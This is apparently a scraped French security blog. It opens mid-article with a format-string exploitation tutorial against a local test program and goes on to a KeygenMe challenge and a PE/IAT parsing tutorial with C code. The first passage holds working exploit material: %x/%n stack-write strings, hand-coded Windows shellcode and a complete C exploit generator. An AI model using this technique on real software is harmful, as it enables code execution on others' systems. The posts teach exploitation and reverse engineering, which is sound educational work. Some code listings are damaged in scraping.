22fb604004012be00000001078257825782578257825782578257825782578257825782578257825
7825782578257825782578257825782578257825782578251a00187c931d64↑

Il y a une flêche qui pointe vers le haut qui est apparue. Ca signifie "Big up". Non, plus sérieusement, observez les 7825 en série. 0x78 et 0x25 - valeurs hexadécimales - correspondent, respectivement, à %x. On en déduit que nous parcourons la pile jusqu'à retomber sur notre chaîne. L'idée est de doser suffisamment de %x et de mettre, quelque part, des AAAA afin que le %n pointe sur ses AAAA même. Pour ma part, j'ai ça :
ffffffffffffff%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%nAAAA

Rassurez-vous, les possibilités sont multiples. Les f ne veulent rien dire, j'aurais très bien pu mettre b ou w. Ils servent à faire en sorte que la chaîne dure soit assez longue afin que %n pointe sur les AAAA. Regardez donc par vous-même :

Tous les %x pointent sur eux-mêmes - on retombe sur notre chaîne - et %n sur 41414141. Il va donc falloir remplacer cette adresse par la sauvegarde d'EIP. Et %n pourra y écrire une adresse qui pointe sur un shellcode.

Lorsque nous traçons printf, la sauvegarde empilée est pointée à l'adresse 0022FB2C (chez moi, en tout cas) :

On remplacera donc AAAA par cette fameuse adresse qui sera dépilée dans EIP à la fin de la fonction printf (l'instruction ret s'en charge).

Le dernier problème : la longueur de la chaîne relative avant %n. Il faut qu'elle soit égale à l'adresse de notre shellcode. Supposons qu'on mette notre shellcode juste après le AAAA. Voici un shellcode qui affiche "Yop" à l'aide d'un simple printf :

char sh[] =
"\xEB\x2E" // jmp short ChaineDll
"\x33\xC0" // xor eax, eax
"\x8B\x3C\x24" // mov edi, [esp]
"\x83\xC7\x0A" // add edi, 0x0A (10.)
"\x88\x07" // mov [edi], al
"\xBF\x77\x1D\x80\x7C" // mov edi, 0x7c801d77 (adresse de LoadLibrary)
"\xFF\xD7" // call edi
"\xEB\x2B" // jmp short ChaineAff
"\x33\xC0" // xor eax, eax
"\x8B\x3C\x24" // mov edi, [esp]
"\x83\xC7\x04" // add edi, 0x04 (4.)
"\x88\x07" // mov [edi], al
"\xBF\x6A\x18\xC1\x77" // mov edi, 0x77c1186a (adresse de printf)
"\xFF\xD7" // call edi
"\x33\xC0" // xor eax, eax
"\x50" // push eax
"\xBF\xEA\xCD\x81\x7C" // mov edi, 0x7c81cdea (adresse d'ExitProcess)
"\xFF\xD7" // call edi

// ChaineDll
"\xE8\xCD\xFF\xFF\xFF" // Retour au code via le call

// "msvcrt.dll", 255
"\x6D\x73\x76\x63\x72\x74\x2E\x64\x6C\x6C\xFF"

// ChaineAff
"\xE8\xD0\xFF\xFF\xFF" // Retour au code via le call

// "Yop",255
"\x59\x6F\x70\xFF";


N'oubliez pas de remplacer les adresse des APIs par les votres. Elles diffèrent selon les systèmes d'exploitation.
Pour connaître l'adresse d'une fonction dans une DLL :
arwin.exe.

En action :
C:\Documents and Settings\Geoffrey\Bureau>arwin kernel32.dll LoadLibraryA
arwin - win32 address resolution program - by steve hanna - v.01
LoadLibraryA is located at 0x7c801d77 in kernel32.dll

C:\Documents and Settings\Geoffrey\Bureau>arwin kernel32.dll ExitProcess
arwin - win32 address resolution program - by steve hanna - v.01
ExitProcess is located at 0x7c81cdea in kernel32.dll

C:\Documents and Settings\Geoffrey\Bureau>arwin msvcrt.dll printf
arwin - win32 address resolution program - by steve hanna - v.01
printf is located at 0x77c1186a in msvcrt.dll


Bien, maintenant qu'on a nos adresses, revenons à notre plan d'attaque :
ffffffffffffff%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%n[pointeur sauvegarde eip][shellcode]

Il va donc falloir jouer sur la taille de la chaîne avant %n. On peut jouer sur un %x pour qu'il prenne plus de place ; par exemple, %2x. Cependant, en ajoutant le 2, on incrémente la chaîne d'un caractère, et décalage dans la pile... On enlève donc un f au début.

On va commencer par faire un programme qui va écrire notre buffer dans le fichier texte.txt :

#include <stdio.h>

int main() {
char buffer[] = "ffffffffffffff%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%n"
"AAAA"
"\xEB\x2E" // jmp short ChaineDll
"\x33\xC0" // xor eax, eax
"\x8B\x3C\x24" // mov edi, [esp]
"\x83\xC7\x0A" // add edi, 0x0A (10.)
"\x88\x07" // mov [edi], al
"\xBF\x77\x1D\x80\x7C" // mov edi, 0x7c801d77 (adresse de LoadLibrary)
"\xFF\xD7" // call edi
"\xEB\x2B" // jmp short ChaineAff
"\x33\xC0" // xor eax, eax
"\x8B\x3C\x24" // mov edi, [esp]
"\x83\xC7\x04" // add edi, 0x04 (4.)
"\x88\x07" // mov [edi], al
"\xBF\x6A\x18\xC1\x77" // mov edi, 0x77c1186a (adresse de printf)
"\xFF\xD7" // call edi
"\x33\xC0" // xor eax, eax
"\x50" // push eax
"\xBF\xEA\xCD\x81\x7C" // mov edi, 0x7c81cdea (adresse d'ExitProcess)
"\xFF\xD7" // call edi

// ChaineDll
"\xE8\xCD\xFF\xFF\xFF" // Retour au code via le call

// "msvcrt.dll", 255
"\x6D\x73\x76\x63\x72\x74\x2E\x64\x6C\x6C\xFF"

// ChaineAff
"\xE8\xD0\xFF\xFF\xFF" // Retour au code via le call

// "Yop",255
"\x59\x6F\x70\xFF";
int l = 1024;
FILE *fptr = fopen("texte.txt","wb");
fwrite(buffer, sizeof(char),1024, fptr);
fclose(fptr);
return 0;
}


On exécute le code, puis on relance notre programme vulnérable avec un breakpoint sur la fonction printf() :

On voit bien les op-codes de notre shellcode en-dessous de 0x41414141. Le shellcode est donc adressé à 0x0022FBB4. La taille de la chaîne formatée doit donc être de 22FBB4 octets, soit, en décimal, 2292660 octets. Essayons donc avec :
fffffffffff%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%2292660x%nAAAA[shellcode]

J'ai dosé le nombre de f de sorte à obtenir : "Access violation when writing to [41414141], ... ...". On en profite pour regarder ECX, qui contient le nombre d'octets retourné par %n : "0022FC77". Ca n'est pas encore ça. De plus, le shellcode est désormais à 0x0022FBB8. Trouver le juste milieu n'est pas mince affaire.

Pour cela, on dose le nombre de f de sorte à provoquer une violation d'accès et voir la valeur d'ecx. Il faut qu'elle ait 0x0022FBB8, donc il faut doser sur le nombre décimal "2292660".

Après un petit acharnement, j'obtiens cette chaîne :
fffffffffff%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%2292470x%n

Voici donc mon exploit final :

#include <stdio.h>

int main() {
char buffer[] = "fffffffffff%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%2292470x%n"
//"AAAA"
"\x2C\xFB\x22\x00"
"\xEB\x2E" // jmp short ChaineDll
"\x33\xC0" // xor eax, eax
"\x8B\x3C\x24" // mov edi, [esp]
"\x83\xC7\x0A" // add edi, 0x0A (10.)
"\x88\x07" // mov [edi], al
"\xBF\x77\x1D\x80\x7C" // mov edi, 0x7c801d77 (adresse de LoadLibrary)
"\xFF\xD7" // call edi
"\xEB\x2B" // jmp short ChaineAff
"\x33\xC0" // xor eax, eax
"\x8B\x3C\x24" // mov edi, [esp]
"\x83\xC7\x04" // add edi, 0x04 (4.)
"\x88\x07" // mov [edi], al
"\xBF\x6A\x18\xC1\x77" // mov edi, 0x77c1186a (adresse de printf)
"\xFF\xD7" // call edi
"\x33\xC0" // xor eax, eax
"\x50" // push eax
"\xBF\xEA\xCD\x81\x7C" // mov edi, 0x7c81cdea (adresse d'ExitProcess)
"\xFF\xD7" // call edi

// ChaineDll
"\xE8\xCD\xFF\xFF\xFF" // Retour au code via le call

// "msvcrt.dll", 255
"\x6D\x73\x76\x63\x72\x74\x2E\x64\x6C\x6C\xFF"

// ChaineAff
"\xE8\xD0\xFF\xFF\xFF" // Retour au code via le call

// "Yop",255
"\x59\x6F\x70\xFF";
int l = 1024;
FILE *fptr = fopen("texte.txt","wb");
fwrite(buffer, sizeof(char),1024, fptr);
fclose(fptr);
return 0;
}


Résultat :
C:\Documents and Settings\Geoffrey\C\FormatString>vuln.exe
fffffffffff22fb604004012be0000000106666666666666
666256666662578257825782578257825782578257825782
578257825782578257825782578257825782578257825782
578257825782578257825782578257825783232257837343
239
[...]
6e257830,¹"Yop


Tiens, pourquoi il dit "yop", ce con ? ;)
On a réussi à sauter sur notre shellcode. Vous n'êtes pas convaincus ? Invoquez une MessageBox(), ça serait plus amusant !


Conclusion


0vercl0k & moi sommes d'accord : les format strings, c'est chiant. Ici, on a vu une exploitation lors d'une injection par fichier. Effectivement, on a un null-byte dans notre chaîne. Je n'ai donc pas essayé avec une injection en ligne de commande si c'est pour coder un exploit, mais c'est tout autant possible.

Merci à pendule pour m'avoir supporté, et j'espère que cet article ait éclairé la lanterne de certains...

Liens : Url de support de l'article
http://doc.bughunter.net/format-string/exploit-fs.html, tutoriel anglais très détaillé.

Geo

dimanche 2 août 2009

[Challenge] KeygenMe

Salut, salut.
Je suis de retour de vacances, bronzé, et j'ai pu m'occuper entre temps de faire du reverse engineering sur un jeu datant des années 90. Je ne dévoilerai pas son nom (peut-être si on me le demande personnellement par mail/MSN/IRC, qui sait) par respect pour l'éditeur du jeu (bien connu, en plus).

Voici le but du challenge : faire un KeygenMe pour le programme disponible à l'adresse suivante : http://venom630.free.fr/geo/blog/keygenme/keygenme.exe

Bien évidemment, j'ai re-codé l'algorithme assembleur en C. De ce fait, le keygenme semble plus simple à analyser que le jeu lui-même.
Rassurez-vous : je n'ai pas eu affaire à des hooks, packings d'exécutables ou anti-débuggers : le jeu date des années 90, je vous le rappelle !

Je dévoilerai mon keygen pourri quand j'en aurai l'envie. Je ferai un article pour poster toutes les solutions proposées (& valides, s'il vous plaît).

Pour m'envoyer votre solution ? geo.669@gmail.com. Je prends bien évidemment des codes sources. Mais si vous avez - en plus - des fichiers projets & des exécutables, je suis preneur.

Merci aux peu de participants qui se jetteront dessus (si y'en a, car c'est ma plus grande crainte).

Geo

jeudi 23 juillet 2009

Demi-Reversing de l'IAT

Un post que j'ai fait sur Nibbles pour apporter ma modeste part.
Je le poste ici quand même - sans me soucier des éventuels soucis de formatage.
Source : http://nibbles.tuxfamily.org/?p=409


L'IAT - ou Import Address Table - est une section souvent présente dans les fichiers exécutables windows structurés par le format PE. Pour les connaisseurs, on peut la trouver sous le nom de ".idata" voire de ".rdata". Il existe des techniques de piratage de cette section, comme le hooking IAT (que je n'expliciterai malheureusement pas, n'ayant pas *encore* les connaissances requises pour).

Dans les fichiers exécutables, les sections sont des blocs de données regroupés par utilisation. On a généralement :

  • .text : la section "code" de notre fichier exécutable, où se retrouvent les instructions séquentielles qui seront exécutées par le processeur (du binaire pur, donc) ;

  • .data : la section qui contient, en vrac, des données au préalable initialisées (à notifier que, dans la section .code, l'algorithme généré par le compilateur va se démerder pour adresser ses données) ;

  • .bss : la section qui contient des données non-initialisées : généralement présente sous des octets nuls, l'algorithme présent dans la section .code va pouvoir y stocker des données ;

  • .idata : la section "importations", que nous allons étudier (sans déconner ?).


Nous allons, tout d'abord, définir ce qu'est la section importation (je dirai IAT par la suite), étudier son intérêt, pour enfin passer à un peu de pratique pour faire joujou avec (Demi-Reversing car on a des données théoriques, et parce qu'on va faire de la pratique).

J'oubliais de préciser : il faut connaître un minimum le format "PE" pour assurer une plus ou moins bonne compréhension de l'article.

"IAT" ? C'est quoi, ça ?!


Littéralement, Import Address Table. Cette section a sa fonction particulière : elle consiste à regrouper le nom des fonctions "dynamiques" - si je puis dire - présente dans les "DLL" - kernel32.dll, user32.dll... - afin de pouvoir les utiliser dans le programme. Par exemple, beaucoup de programmes auront besoin de la fonction ExitProcess(), programmée dans la bibliothèque "kernel32.dll". Il va donc falloir préciser dans l'IAT que l'on aura besoin de cette fameuse fonction.

Pourquoi ?

Parce que c'est la vie et tu la boucles les fonctions sont adressées différemment en fonction des systèmes d'exploitation, que ce soit Windows XP ou Windows Vista (32 bits, dans nos futurs exemples). Si les adresses étaient toutes les mêmes, on n'aurait pas besoin de préciser le nom des fonctions à importer. Leur adresse aurait suffit.

Qui va trouver les adresses, alors ?

Le "loader" de Windows, tout simplement. Lorsque ce "loader" va charger votre programme en mémoire, il va aller chercher les adresses des fonctions dont il a trouvé le nom, et va écrire ces adresses dans la section IAT. L'endroit de l'écriture est défini lui-même dans la section IAT. Tout est paramétré dedans. Nous allons l'étudier.

Structure de l'IAT


Pour la suite, nous allons nous servir d'un binaire basique qui ne fait qu'afficher "Hello". Vous pouvez l'obtenir à cette adresse : http://nibbles.tuxfamily.org/wp-content/uploads/2009/07/hello.exe

L'IAT commence toujours par des structures de type "IMAGE_IMPORT_DESCRIPTOR". Sa définition est la suivante :
#include 

typedef struct _IMAGE_IMPORT_DESCRIPTOR {
union {
DWORD Characteristics; // 0 for terminating null import descriptor
DWORD OriginalFirstThunk; // RVA to original unbound IAT (PIMAGE_THUNK_DATA)
};
DWORD TimeDateStamp; // 0 if not bound,
// -1 if bound, and real date\time stamp
// in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND)
// O.W. date/time stamp of DLL bound to (Old BIND)

DWORD ForwarderChain; // -1 if no forwarders
DWORD Name;
DWORD FirstThunk; // RVA to IAT (if bound this IAT has actual addresses)
} IMAGE_IMPORT_DESCRIPTOR;
typedef IMAGE_IMPORT_DESCRIPTOR UNALIGNED *PIMAGE_IMPORT_DESCRIPTOR;

Énumérons, un à un, les membres de cette structure :

  • Characteristics / OriginalFirstThunk (DWORD, donc 4 octets) : il s'agit d'une adresse virtuelle relative - se référer à l'ImageBase dans l'en-tête PE pour récupérer l'adresse virtuelle absolue - indiquant un pointeur vers le tableau des fonctions à importer. Ces fonctions sont définies par la structure suivante :
    #include 

    typedef struct _IMAGE_IMPORT_BY_NAME {
    WORD Hint;
    BYTE Name[1];
    } IMAGE_IMPORT_BY_NAME, *PIMAGE_IMPORT_BY_NAME;

    Avec :
    - Hint (WORD : 2 octets) : le numéro identifiant de la fonction. Il n'est pas explicitement valide, et sert à titre indicatif pour le "loader" windows ;
    - Name (Byte : 1 octet) : le nom de la fonction. On ne se servira pas de ce membre de structure pour obtenir le nom de la fonction ; sa taille est inconnue, tant la chaîne de caractère se termine de toute évidence par un octet nul.

  • TimeDataStamp (DWORD : 4 octets) : indique la date de création du fichier. Ce membre ne contient pas forcément une valeur valide (0 dans plusieurs cas) ;

  • ForwarderChain (DWORD : 4 octets) : un champ qu'on voit souvent à 0. J'ai essayé de me renseigner sur Google, je n'ai vu que des "c'est un truc avancé, on en parlera après", alors qu'il n'en parlent jamais. De ce fait, on va oublier ce champ puisqu'il ne gênera pas pour la suite ;

  • Name (DWORD : 4 octets) : adresse virtuelle relative codée sur 4 octets et qui pointe sur une chaîne de caractère terminée par un octet nul. Cette chaîne correspond au nom de la DLL dont les fonctions proviennent ;

  • FirstThunk : à peu près pareil que OriginalFirstThunk. Je dis bien "à peu près", parce qu'il m'est plus fiable lors de la manipulation de l'IAT sur plusieurs exécutables différents.


On ne connait pas exactement le nombre de structures "IMAGE_IMPORT_DESCRIPTOR". On sait juste que la dernière structure contient tout ses membres non-initialisés (donc = 0).

Grâce au membre OriginalFirstThunk, on va pouvoir pointer sur un lot d'adresses virtuelles relatives qui correspondent à des pointeurs sur des structures "IMAGE_IMPORT_BY_NAME". On ne connait pas le nombre exact de structures présentes ; il faut simplement s'arrêter jusqu'à ce qu'on tombe sur une adresse virtuelle relative égale à 0. Grâce à ça, on va pouvoir connaître les fonctions importées de la DLL. Le champ FirstThunk - le dernier de la structure - quant à lui, lorsque le programme est chargé en mémoire, pointe sur un lot d'adresses virtuelles qui correspondent aux adresses mémoires des fonctions. Ce sont ses adresses qui seront appelées par le programme dans la section .text (ou CODE pour les programmes compilés avec un environnement Borland).

Prenons notre "désassembleur" favori : ollydbg. Ouvrons notre exécutable "hello.exe", faisons Alt + M (ou View > Memory) et cliquons sur. Vous avez ça :

[caption id="" align="aligncenter" width="444" caption="OllyDbg : visualisation de l'IAT"]OllyDbg visualisation IAT[/caption]

J'ai tracé, en rouge, le chemin engendré par les pointeurs pour arriver au nom de la première fonction importée par le programme. Notez bien que les adresses mémoires sont écrites à l'envers, car c'est comme ça que sont représentés les entiers en dur dans la mémoire. On a donc, en fin de trajet, le "Hint" de la fonction ainsi que son nom, encadrés en bleus. En vert, j'ai tracé le chemin pour mettre en évidence le pointage vers la DLL Kernel32.dll.

Voyons maintenant vers quoi pointe FirstThunk au lieu de OriginalFirstThunk :

[caption id="attachment_413" align="aligncenter" width="444" caption="OllyDbg : visualisation de l'IAT"]OllyDbg : visualisation de l'IAT[/caption]

Ce champ pointe vers les adresses mémoires des fonctions. Pour être sûr de ce que j'avance, je vais utiliser arwin pour vérifier que la fonction AddAtom() ait bien l'adresse 0x7C835535. Vous pouvez télécharger l'utilitaire ici : http://nibbles.tuxfamily.org/wp-content/uploads/2009/07/arwin.exe ; en voici son code source :
#include 
#include

/***************************************
arwin - win32 address resolution program
by steve hanna v.01
vividmachines.com
shanna@uiuc.edu
you are free to modify this code
but please attribute me if you
change the code. bugfixes & additions
are welcome please email me!
to compile:
you will need a win32 compiler with
the win32 SDK

this program finds the absolute address
of a function in a specified DLL.
happy shellcoding!
***************************************/

int main(int argc, char** argv)
{
HMODULE hmod_libname;
FARPROC fprc_func;

printf("arwin - win32 address resolution program - by steve hanna - v.01\n");
if(argc < 3)
{
printf("%s
\n",argv[0]);
exit(-1);
}

hmod_libname = LoadLibrary(argv[1]);
if(hmod_libname == NULL)
{
printf("Error: could not load library!\n");
exit(-1);
}
fprc_func = GetProcAddress(hmod_libname,argv[2]);

if(fprc_func == NULL)
{
printf("Error: could find the function in the library!\n");
exit(-1);
}
printf("%s is located at 0x%08x in %s\n",argv[2],(unsigned int)fprc_func,argv[1]);

}

On l'exécute, et voici ce qu'on a en retour :
C:\Program Files\Slayers Online2>arwin.exe kernel32.dll AddAtomA
arwin - win32 address resolution program - by steve hanna - v.01
AddAtomA is located at 0x7c835535 in kernel32.dll

On en déduit que le loader a bien placé l'adresse des fonctions dans la table d'importations.

Un peu de prog ?


Depuis quelques temps, je bosse sur une bibliothèque pour me permettre d'analyser et manipuler le format PE de sorte à mieux le cerner. Je vais vous communiquer trois sources : main.c (prog principal), pe.h (définitions de fonctions) et pe.c (les fonctions).

main.c :
#include 
#include
#include
#include "pe.h"

int main(int argc, char **argv)
{
if(argc < 2) {
printf("Utilisation : %s \n", argv[0]);
exit(EXIT_FAILURE);
}
PortableExecutable MyPe;
MyPe.fp = fopen(argv[1],"rb");
if(!MyPe.fp) {
printf("Erreur lors de l'ouverture de %s : abandon.\n", argv[1]);
exit(EXIT_FAILURE);
}
PE_Init(&MyPe,argv[1]);
Pe_ShowFunctionsUsed(MyPe);
PE_Destroy(&MyPe);
return 0;
}

pe.h :
#ifndef PE_H
#define PE_H

#include

typedef struct {
FILE *fp; // Pointeur vers le fichier exécutable
IMAGE_DOS_HEADER ImageDosHeader; // structure 'MZ'
IMAGE_FILE_HEADER ImageFileHeader; // structure 'Pe'
IMAGE_OPTIONAL_HEADER ImageOptionalHeader; // Structure de l'en-tête optionelle
PIMAGE_SECTION_HEADER ImagesSectionHeader; // Pointeur sur les structures d'en-têtes de sections
} PortableExecutable;

// Constructeur & Destructeur
int PE_Init(PortableExecutable *Pe, char *filename);
VOID PE_Destroy(PortableExecutable *MyPe);

// Osef pour le moment
int PE_Create(char *filename);

// Requisition de données
DWORD Pe_GetOffsetIat(PortableExecutable Pe);
DWORD Pe_GetVirtualAddressOfIat(PortableExecutable Pe);
DWORD Pe_GetOffsetFromSection(PortableExecutable Pe, char *name);

// Fonctions d'affichage
VOID PE_DmpSectionHeaders(PortableExecutable MyPe);
VOID Pe_ShowDllsImported(PortableExecutable Pe);
VOID Pe_ShowFunctionsUsed(PortableExecutable Pe);
VOID Pe_ShowImageImportDescriptors(PortableExecutable Pe);

#endif

pe.c :
#include 
#include
#include "pe.h"

/* Cette fonction permet d'initialiser
* notre structure PortableExecutable ;
* elle va lire les en-tête dans les
* différentes structures.
* @param *MyPe (PortableExecutable) : structure PortableExecutable
* @param *filename (char*) : chaîne de caractères correspondant au
* fichier exécutable à ouvrir en lecture binaire.
*/
int PE_Init(PortableExecutable *MyPe, char *filename)
{
MyPe->fp = fopen(filename,"rb");
if(!MyPe->fp) {
printf("Erreur lors de l'ouverture de %s : abandon.\n", filename);
return -1;
}

DWORD MagicWord;

// Lecture de l'en-tête DOS
fread(&MyPe->ImageDosHeader, sizeof(IMAGE_DOS_HEADER), 1, MyPe->fp);

// Déplacement jusqu'à l'en-tête PE
fseek(MyPe->fp, MyPe->ImageDosHeader.e_lfanew, SEEK_SET);

// Lecture du mot magique
fread(&MagicWord, sizeof(DWORD), 1, MyPe->fp);

// Lecture de l'en-tête PE
fread(&MyPe->ImageFileHeader, sizeof(IMAGE_FILE_HEADER), 1, MyPe->fp);

// Est-ce bien un PE ?
if(MagicWord != IMAGE_NT_SIGNATURE) {
return -2;
}

// L'en-tête optionnelle existe ?
if(MyPe->ImageFileHeader.SizeOfOptionalHeader != 0) {
// On la lit
fread(&MyPe->ImageOptionalHeader, sizeof(IMAGE_OPTIONAL_HEADER), 1, MyPe->fp);
}

// On va lire toutes les sections
MyPe->ImagesSectionHeader =
(PIMAGE_SECTION_HEADER)malloc(MyPe->ImageFileHeader.NumberOfSections * sizeof(IMAGE_SECTION_HEADER));
int i;
for(i = 0; i ImageFileHeader.NumberOfSections; i++)
fread(&MyPe->ImagesSectionHeader[i], sizeof(IMAGE_SECTION_HEADER), 1, MyPe->fp);
return 1;
}

/*
* Cette fonction affiche les en-têtes de chaque section.
* @param MyPe (PortableExecutable) : structure PortableExecutable
*/
VOID PE_DmpSectionHeaders(PortableExecutable MyPe) {
int i;
// +4 "PE#0#0"
fseek(MyPe.fp, 4 + MyPe.ImageDosHeader.e_lfanew + sizeof(MyPe.ImageFileHeader)
+ MyPe.ImageFileHeader.SizeOfOptionalHeader, SEEK_SET);
for(i = 0; i ImagesSectionHeader);
}

/*
* Cette fonction retourne l'offset - en dur dans le fichier -
* d'une section dont on connait le nom.
* @param MyPe (PortableExecutable) : structure PortableExecutable.
* @param *name (char*) : nom de la section
*/
DWORD Pe_GetOffsetFromSection(PortableExecutable MyPe, char *name) {
int i = 0;
while(strcmp(MyPe.ImagesSectionHeader[i++].Name, name) &&
i < MyPe.ImageFileHeader.NumberOfSections);
return --i < MyPe.ImageFileHeader.NumberOfSections ?
MyPe.ImagesSectionHeader[i].PointerToRawData : 0;
}

/*
* Cette fonction affiche les dll importées par l'exécutable
* @param MyPe (PortableExecutable) : structure PortableExecutable.
*/
VOID Pe_ShowDllsImported(PortableExecutable Pe) {
if(!Pe.ImageOptionalHeader.NumberOfRvaAndSizes) {
printf("Aucune section IAT dans le programme.\n");
} else {
DWORD OffsetIat = Pe_GetOffsetIat(Pe);
DWORD VirtualAddressIat = Pe_GetVirtualAddressOfIat(Pe);
// Compteur de descripteurs d'images d'importation
int cpt = 0;

// Nom courant de la DLL
char dllname[255];

// Variable qui représente notre descripteur d'image d'importation
IMAGE_IMPORT_DESCRIPTOR CurrentImage;

// On se déplace au début de l'IAT
fseek(Pe.fp, OffsetIat, SEEK_SET);

// Lecture de l'image
fread(&CurrentImage, sizeof(IMAGE_IMPORT_DESCRIPTOR), 1, Pe.fp);

// On boucle jusqu'à lire un IMAGE_IMPORT_DESCRIPTOR complètement mis
// à 0
while(CurrentImage.Characteristics != 0
|| CurrentImage.TimeDateStamp != 0
|| CurrentImage.ForwarderChain != 0
|| CurrentImage.Name != 0
|| CurrentImage.FirstThunk != 0) {

// On va se déplacer à l'offset du nom de la DLL
// CurrentImage.Name contient, en effet, l'adresse
// virtuelle et relative de la chaîne - terminée par
// null-byte - du nom de la DLL
fseek(Pe.fp, (CurrentImage.Name - VirtualAddressIat)
+ OffsetIat, SEEK_SET);
fread(dllname, sizeof(char), 254, Pe.fp);
printf("%s ;\n", dllname);

// On se déplace à l'image suivante
fseek(Pe.fp, OffsetIat
+ (++cpt*sizeof(IMAGE_IMPORT_DESCRIPTOR)), SEEK_SET);
// On la lit
fread(&CurrentImage, sizeof(IMAGE_IMPORT_DESCRIPTOR), 1, Pe.fp);
}
}
}

/*
* Cette fonction affiche les fonctions importées par le prog (peut bugger...)
* @param MyPe (PortableExecutable) : structure PortableExecutable.
*/
VOID Pe_ShowFunctionsUsed(PortableExecutable Pe) {
if(!Pe.ImageOptionalHeader.NumberOfRvaAndSizes) {
printf("Aucune section IAT dans le programme.\n");
} else {
DWORD VirtualAddressOfIat = Pe_GetVirtualAddressOfIat(Pe);
DWORD OffsetOfIat = Pe_GetOffsetIat(Pe);

int n = 0;
// On se déplace dans l'IAT
fseek(Pe.fp, OffsetOfIat, SEEK_SET);

// On lit chaque IMAGE_IMPORT_DESCRIPTOR jusqu'à en trouver une
// donc chaque champ est mis à 0
IMAGE_IMPORT_DESCRIPTOR CurrentImage;

// La structure représentant le Hint & le
// nom de la fonction
IMAGE_IMPORT_BY_NAME CurrentFunction;

// L'adresse virtuelle relative des IMAGE_IMPORT_BY_NAME
DWORD RelativeVirtualAddress;

// La variable qui contiendra l'offset en fonction de la RVA
DWORD Offset;

// chaines qui contiendront le nom de la dll et le nom de la fonction
char dllname[255], funcname[255];

fread(&CurrentImage, sizeof(IMAGE_IMPORT_DESCRIPTOR), 1, Pe.fp);
int cpt = 0;
while(CurrentImage.OriginalFirstThunk != 0
|| CurrentImage.TimeDateStamp != 0
|| CurrentImage.ForwarderChain != 0
|| CurrentImage.Name != 0
|| CurrentImage.FirstThunk != 0) {

fseek(Pe.fp, (CurrentImage.Name - VirtualAddressOfIat)
+ OffsetOfIat, SEEK_SET);
fread(dllname, sizeof(char), 254, Pe.fp);
printf("[*] %s :\n", dllname);

// On se déplace à "OriginalFirstThunk"
Offset = OffsetOfIat + (CurrentImage.FirstThunk - VirtualAddressOfIat);
fseek(Pe.fp, Offset, SEEK_SET);

// On lit l'offset de la première IMAGE_IMPORT_BY_NAME
fread(&RelativeVirtualAddress, sizeof(DWORD), 1, Pe.fp);

while(RelativeVirtualAddress != 0) {
// On s'y déplace
Offset = OffsetOfIat + (RelativeVirtualAddress - VirtualAddressOfIat);
fseek(Pe.fp, Offset, SEEK_SET);

// Lecture de l'IMAGE_IMPORT_BY_NAME
fread(&CurrentFunction.Hint, sizeof(WORD), 1, Pe.fp);

// Affichage du nom de la fonction
fread(funcname, sizeof(char), 255, Pe.fp);
printf("\t- %s\n", funcname);
// On revient aux RVAs des fonctions
Offset = OffsetOfIat + (CurrentImage.OriginalFirstThunk - VirtualAddressOfIat);
fseek(Pe.fp,(++cpt) * sizeof(DWORD) + Offset, SEEK_SET);

fread(&RelativeVirtualAddress, sizeof(DWORD), 1, Pe.fp);
}
printf("\n");
cpt = 0;
fseek(Pe.fp,(++n)*sizeof(IMAGE_IMPORT_DESCRIPTOR) + OffsetOfIat, SEEK_SET);
fread(&CurrentImage, sizeof(IMAGE_IMPORT_DESCRIPTOR), 1, Pe.fp);
}
}

}

// Osef pour l'instant
int PE_Create(char *filename) {
FILE *fp = NULL;
if((fp = fopen(filename,"wb")) == NULL) {
return -1;
}
}

/*
* Cette fonction affiche les structures d'images d'importations -
* de la section IAT - avec leurs membres.
* @param MyPe (PortableExecutable) : structure PortableExecutable.
*/
VOID Pe_ShowImageImportDescriptors(PortableExecutable Pe) {
IMAGE_IMPORT_DESCRIPTOR CurrentImage;
DWORD OffsetIat = Pe_GetOffsetIat(Pe);
fseek(Pe.fp, OffsetIat, SEEK_SET);
fread(&CurrentImage, sizeof(IMAGE_IMPORT_DESCRIPTOR), 1, Pe.fp);
printf("---------------------------------------------\n");
while(CurrentImage.OriginalFirstThunk != 0
|| CurrentImage.TimeDateStamp != 0
|| CurrentImage.ForwarderChain != 0
|| CurrentImage.Name != 0
|| CurrentImage.FirstThunk != 0) {
printf("OriginalFirstThunk = 0x%08X\n"
"TimeDateStamp = 0x%08X\n"
"ForwarderChain = 0x%08X\n"
"Name = 0x%08X\n"
"FirstThunk = 0x%08X\n"
"---------------------------------------------\n"
, CurrentImage.OriginalFirstThunk, CurrentImage.TimeDateStamp,
CurrentImage.ForwarderChain, CurrentImage.Name, CurrentImage.FirstThunk);
fread(&CurrentImage, sizeof(IMAGE_IMPORT_DESCRIPTOR), 1, Pe.fp);
}
}

/* Cette fonction récupère l'offset pur et dur - donc dans le fichier -
* de la section IAT
* @param MyPe (PortableExecutable) : structure PortableExecutable.
*/
DWORD Pe_GetOffsetIat(PortableExecutable Pe) {
IMAGE_DATA_DIRECTORY Iat;
int i = 0;
fseek(Pe.fp, Pe.ImageDosHeader.e_lfanew + 0x80, SEEK_SET);
fread(&Iat, sizeof(IMAGE_DATA_DIRECTORY), 1, Pe.fp);
while(Pe.ImagesSectionHeader[i++].VirtualAddress <= Iat.VirtualAddress);
i -= 2;
return Pe.ImagesSectionHeader[i].PointerToRawData +
(Iat.VirtualAddress - Pe.ImagesSectionHeader[i].VirtualAddress);
}

/* Cette fonction récupère l'adresse virtuelle
* de la section IAT
* @param MyPe (PortableExecutable) : structure PortableExecutable.
*/
DWORD Pe_GetVirtualAddressOfIat(PortableExecutable Pe) {
IMAGE_DATA_DIRECTORY Iat;
fseek(Pe.fp, Pe.ImageDosHeader.e_lfanew + 0x80, SEEK_SET);
fread(&Iat, sizeof(IMAGE_DATA_DIRECTORY), 1, Pe.fp);
return Iat.VirtualAddress;
}

Résultat :
